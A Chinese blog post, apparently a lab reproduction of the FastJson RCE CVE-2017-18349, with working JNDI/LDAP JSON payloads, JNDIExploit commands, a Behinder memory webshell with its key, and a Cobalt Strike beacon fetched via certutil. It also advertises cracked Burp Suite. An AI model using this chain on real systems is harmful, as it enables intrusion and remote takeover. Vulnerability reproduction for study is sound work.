FastJson-RCE (CVE-2017-18349) 漏洞复现

admin 2024年6月29日22:41:21评论7 views字数 1865阅读6分13秒阅读模式

0X01 环境搭建

Java环境:JDK 8

物理机环境:Windows 11

Tomcat版本:8.5.0

Maven版本:3.9.8

IDEA版本:最新版本

漏洞验证工具:burpsuite2024版本、JNDIExploit-1.4-SNAPSHOT.jar  (工具获取可发送关键字)
环境源码获取:公众号后台发送"fastjson"关键字即可
burp2024版本破解版本获取:公众号后台发送"burp2024"关键字即可
JNDIExploit-1.4工具获取:公众号后台发送"jnditools1"关键字即可
  1. Idea打开源码文件夹,配置maven(上篇文章有讲)

  2. 配置jdk环境

FastJson-RCE (CVE-2017-18349) 漏洞复现

  1. 刷新maven

FastJson-RCE (CVE-2017-18349) 漏洞复现

  1. 启动项目(这里我使用的8081端口,修改端口可以在application.properties文件修改)

FastJson-RCE (CVE-2017-18349) 漏洞复现

  1. 启动成功

FastJson-RCE (CVE-2017-18349) 漏洞复现

0X02 漏洞复现

打开burp进行抓包,发送到重发器

FastJson-RCE (CVE-2017-18349) 漏洞复现

修改为POST请求方式

构造json数据验证是否运行正常,这里需要注意,application/json、POST请求、Json请求体

FastJson-RCE (CVE-2017-18349) 漏洞复现

运行正常,下面测试漏洞

查看是否存在fastjson特征

payload:

{"b":{"@type": "java.lang.AutoCloseable","autoCommit":true}}

可以看到 com.alibaba.fastjson 特征

FastJson-RCE (CVE-2017-18349) 漏洞复现

测试是否存在fastjson漏洞

payload:

{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"exp","autoCommit":true}}

这里使用到了JNDIExploit-1.4-SNAPSHOT.jar工具 (jdk8启动)

命令:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -u -i 127.0.0.1

FastJson-RCE (CVE-2017-18349) 漏洞复现

具体参数是什么用处可以百度

启动 JNDIExploit-1.4-SNAPSHOT.jar 工具

命令:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1

FastJson-RCE (CVE-2017-18349) 漏洞复现

使用工具提供payload:

FastJson-RCE (CVE-2017-18349) 漏洞复现

ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho

FastJson-RCE (CVE-2017-18349) 漏洞复现

{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho","autoCommit":true}}

hander添加字段:cmd: whoami

FastJson-RCE (CVE-2017-18349) 漏洞复现

点击burp "send"发送数据包

FastJson-RCE (CVE-2017-18349) 漏洞复现

漏洞利用完成

0X03 注入冰蝎内存马

使用jndi payload:

ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell3

FastJson-RCE (CVE-2017-18349) 漏洞复现

发包

FastJson-RCE (CVE-2017-18349) 漏洞复现

冰蝎连接  路由:/ateam  key:pass1024

FastJson-RCE (CVE-2017-18349) 漏洞复现

漏洞利用成功

FastJson-RCE (CVE-2017-18349) 漏洞复现

0X04  上线CS

CS版本:4.7 (注意远程VPS使用版本和客户端要一致)

远程VPS:本地虚拟机 kali

本地虚拟机启动cs teamserver (模拟远程VPS端)

FastJson-RCE (CVE-2017-18349) 漏洞复现

本地物理机开启CS客户端(模拟攻击者机器)

FastJson-RCE (CVE-2017-18349) 漏洞复现

新建监听器

FastJson-RCE (CVE-2017-18349) 漏洞复现

FastJson-RCE (CVE-2017-18349) 漏洞复现

生成exe马

FastJson-RCE (CVE-2017-18349) 漏洞复现

配置监听器,保存至桌面

FastJson-RCE (CVE-2017-18349) 漏洞复现

将生成exe马上传至远程VPS (这里我是kali虚拟机),远程VPS启动http服务(这里是为了后面受害机器远程下载恶意文件)

命令:

python3 -m http.server 启用端口

FastJson-RCE (CVE-2017-18349) 漏洞复现

执行Windows命令使受害机器远程下载恶意文件至指定目录

命令:

certutil -urlcache -split -f 远程地址 指定本地下载文件存放地址

jndi工具的payload仍然为

ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho

此时JNDI工具仍开启状态

FastJson-RCE (CVE-2017-18349) 漏洞复现

burp构造exp,发包,远程下载成功

FastJson-RCE (CVE-2017-18349) 漏洞复现

执行1.exe,上线CS

FastJson-RCE (CVE-2017-18349) 漏洞复现

返回CS,上线成功

FastJson-RCE (CVE-2017-18349) 漏洞复现FastJson-RCE (CVE-2017-18349) 漏洞复现

                                                            梦想再多,努力实现就是了

原文始发于微信公众号(朱厌安全):FastJson-RCE (CVE-2017-18349) 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月29日22:41:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson-RCE (CVE-2017-18349) 漏洞复现https://cn-sec.com/archives/2889836.html

发表评论

匿名网友 填写信息